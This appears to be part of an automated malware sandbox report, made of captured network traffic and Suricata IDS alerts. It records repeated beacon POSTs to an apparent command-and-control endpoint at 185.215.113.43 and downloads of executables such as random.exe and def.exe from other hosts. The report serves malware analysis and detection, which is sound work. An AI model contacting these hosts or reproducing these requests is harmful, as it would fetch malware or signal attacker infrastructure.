r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017430001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 98.85.100.80 98.85.100.80

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49802 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49839 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49858 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49875 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49883 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49882 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49893 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49900 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49908 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49911 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49917 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49918 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49921 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49926 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49932 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49933 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49939 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49947 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49949 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49950 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49962 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49977 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49981 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49982 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49987 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49988 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49995 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50005 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50012 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50057 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50069 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50076 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50107 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50119 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50153 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50157 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50148 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50156 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50159 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50134 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50102 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50306 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50307 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50315 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50318 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50319 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50311 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50309 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50316 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50313 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50330 -> 31.41.244.11:80

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
